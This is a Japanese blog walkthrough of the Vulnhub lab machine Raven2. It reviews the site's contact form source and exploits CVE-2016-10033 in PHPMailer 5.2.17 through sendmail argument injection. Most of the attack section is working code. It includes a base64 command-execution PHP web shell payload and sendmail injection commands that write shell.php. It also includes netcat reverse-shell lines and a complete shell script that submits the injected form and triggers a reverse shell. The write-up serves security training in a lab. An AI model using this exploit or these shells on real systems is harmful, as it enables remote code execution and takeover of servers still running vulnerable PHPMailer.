#はじめに
ホワイトボックステストの練習をしたかったので、ソースコードが与えられているという前提でVulnhubをやってみました。
そのためポートスキャンや権限昇格といった内容は省略しています。
このブログを参考にしています。こっちの方が分かりやすいかもしれません。
[Raven2 - Remote Command Execution]
(https://klezvirus.github.io/Misc/HTB-VH-OSWE/reviews/vulnhub/raven2/)
#Raven2
- サーバー名: Pentester Lab: XSS and MySQL FILE
- リリース日: 2018年11月9日
- 作者: William McCann
- シリーズ: Raven
#スキャン
/var/www/html
ディレクトリ内のphpファイルはcontact.php
だけ。
root@Raven:/var/www/html# ls -l
total 232
-rw-r--r-- 1 root root 13265 Aug 13 2018 about.html
-rw-r--r-- 1 root root 10441 Aug 13 2018 contact.php
drwxr-xr-x 4 root root 4096 Aug 12 2018 css
-rw-r--r-- 1 root root 35226 Aug 12 2018 elements.html
drwxr-xr-x 2 root root 4096 Aug 12 2018 fonts
drwxr-xr-x 5 root root 4096 Aug 12 2018 img
-rw-r--r-- 1 root root 16819 Aug 13 2018 index.html
drwxr-xr-x 3 root root 4096 Aug 12 2018 js
drwxr-xr-x 4 root root 4096 Aug 12 2018 scss
drwxr-xr-x 7 root root 4096 Aug 12 2018 Security - Doc
-rw-r--r-- 1 root root 11114 Nov 9 2018 service.html
-rw-r--r-- 1 root root 15449 Aug 13 2018 team.html
drwxrwxrwx 7 root root 4096 Jan 19 20:06 vendor
drwxrwxrwx 5 root root 4096 Nov 9 2018 wordpress
contact.php
は、PHPMailerプラグインを読み込み、パラメータからメッセージを作成して送信します。
<?php
if (isset($_REQUEST['action'])){
$name=$_REQUEST['name'];
$email=$_REQUEST['email'];
$message=$_REQUEST['message'];
if (($name=="")||($email=="")||($message=="")){
echo "There are missing fields.";
}else{
require 'vendor/PHPMailerAutoload.php';
$mail = new PHPMailer;
$mail->Host = "localhost";
$mail->setFrom($email, 'Vulnerable Server');
$mail->addAddress('admin@vulnerable.com', 'Hacker');
$mail->Subject = "Message from $name";
$mail->Body = $message;
if(!$mail->send()) {
echo 'Message was not sent.';
echo 'Mailer error: ' . $mail->ErrorInfo;
} else {
echo 'Message has been sent.';
}
}
}
?>
/var/www/html/vendor/changelog.md
をチェックします。
PHPMailerのバージョンが5.2.17であることが分かりました。
tester@Raven:# cat vendor/changelog.md | head -n 3
# ChangeLog
## Version 5.2.17 (December 9th 2016)
vendor/SECURITY.md
をチェック。
PHPMailerバージョン5.2.17はCVE-2016-10033の脆弱性があるようです。
tester@Raven:# cat vendor/SECURITY.md
# Security notices relating to PHPMailer
Please disclose any vulnerabilities found responsibly - report any security problems found to the maintainers privately.
PHPMailer versions prior to 5.2.18 (released December 2016) are vulnerable to [CVE-2016-10033](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-10033) a remote code execution vulnerability, responsibly reported by [Dawid Golunski](https://legalhackers.com).
#CVE-2016-10033
脆弱性を利用するため、CVE-2016-10033について調べていきます。
まずPHP mail()
関数がどう定義されているかを確認します。
bool mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] )
mail()
には5つのパラメータがあり
1: 送信先
2: メールタイトル
3: メール本文
4: ヘッダ
5: オプション
今回は5番目のオプション( $additional_parameters
)で文字列を渡しRCEを実行します。
$additional_parameters
にユーザの入力を使用する場合は注意が必要で、ユーザの入力値を十分にチェックしておかないと、sendmailコマンドに任意のコマンドライン引数を渡されてしまうことになります。
mail()
には、以下のようなオプションがあります。
-X : ログファイルを出力先指定できる。
今回は、-X/www/backdoor.php
でログファイルを出力先指定を/www/backdoor.php
に指定します。
-X logfile
Log all traffic in and out of mailers in the indicated log file. This should only be used as a last resort for debugging mailer bugs. It will log a lot of data very quickly.
-O : sendmailの設定値をoption=value形式で設定できる
-OQueueDirectory=/tmp
でキューの保管場所を/tmp
に指定します。
-O option=value
Set option to the specified value. This form uses long names.
#RCE
上記をふまえ、以下の方法でRCEを実行していきます。
-
$additional_parameters
とその他のmail()
パラメータをコントロールします。 - 標的ユーザー(www-dataなど)の権限で書き込み可能なディレクトリを調べる。今回は、
/var/www/html
が書き込み可。 - ペイロードは、
<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>
です。
base64でエンコードされたコマンドを受け取り、system で実行、実行結果もbase64でエンコードする仕組みです。
$to = 'hacker@server.com';
$subject = '<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>';
$message = 'Pwned';
$headers = '';
$options = '-OQueueDirectory=/tmp -X/www/backdoor.php';
mail($to, $subject, $message, $headers, $options);
バックドアを作成するコマンドは以下のとおりです。
tester@Raven:# $(printf '/usr/sbin/sendmail -f"injection\" -OQueueDirectory=/tmp -X/var/www/html/shell.php server" @pwnd.com')
コマンド実行後、ディレクトリ内のファイルを確認すると、ファイルshell.php
が作成され、実行されたコマンドのログが残っていることが分かります。次にPHP ペイロードをどこに挿入できるかですが、name
またはmessage
の二通りあります。
$name=$_REQUEST['name'];
$message=$_REQUEST['message'];
...
$mail->Subject = "Message from $name";
$mail->Body = $message;
以下のように手動でちゃんとバックドアが挿入されているかを確認できます。
tester@Raven:# $(echo '/usr/sbin/sendmail -f"d3adc0de\" -OQueueDirectory=/tmp -X/var/www/html/shell.php server" @gmail.com')
To: Hacker <admin@vulnerable.com>
Subject: Message from ME
Header: Date: Mon, 20 Jan 2020 20:23:17 +1100
From: Vulnerable Server <"d3adc0de\" -OQueueDirectory=/tmp -X/var/www/html/shell.php server" @gmail.com>
PWND!!<?php system('nc -e /bin/bash 192.168.56.1 444'); ?>
.
tester@Raven:# cat shell.php | grep '<?php'
29395 <<< PWND!!<?php system('nc -e /bin/bash 192.168.56.1 444'); ?>
29395 >>> PWND!!<?php system('nc -e /bin/bash 192.168.56.1 444'); ?>
29395 >>> PWND!!<?php system('nc -e /bin/bash 192.168.56.1 444'); ?>
29395 >>> PWND!!<?php system('nc -e /bin/bash 192.168.56.1 444'); ?>
最終的なエクスプロイトは以下のとおりです。
#!/bin/sh
echo "[*] Staring Listener on port 4444"
gnome-terminal -- nc -lvkp 4444 2>/dev/null
echo "[*] Writing shell on the filesystem"
curl -ksi -x $'http://127.0.0.1:8080' \
-X $'POST' -H $'Content-Type: multipart/form-data' \
-F $'action=submit' \
-F $'subject=No Subject' \
-F $'message=TEST' \
--form-string $'name=<?php system("nc -e /bin/bash MY_IP_ADRESS 4444");?>'\
--form-string $'email="injection\\\" -OQueueDirectory=/tmp -X/var/www/html/shell.php server" @pwnd.com' \
$'http://raven.local/contact.php' &>/dev/null
echo "[*] Triggering the reverse shell"
curl -ksi http://raven.local/shell.php -x http://127.0.0.1:8080 &>/dev/null
echo "[+] Done"